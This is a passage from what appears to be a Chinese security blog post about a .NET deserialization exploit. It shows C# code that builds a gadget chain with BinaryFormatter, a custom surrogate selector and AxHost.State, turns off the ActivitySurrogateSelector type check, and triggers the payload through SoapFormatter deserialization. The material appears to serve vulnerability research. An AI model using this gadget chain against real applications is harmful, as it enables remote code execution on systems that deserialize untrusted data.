                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);

            ls.Add(ht);

            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);

            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }
    
    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt1 = new SoapFormatter();
            SoapFormatter fmt2 = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

效果一样,结果如下图所示

改良原理

X

ActivitySurrogateDisableTypeCheck

漏洞触发点

posted @ 2023-03-25 00:14  zpchcbd  阅读(479)  评论(0编辑  收藏  举报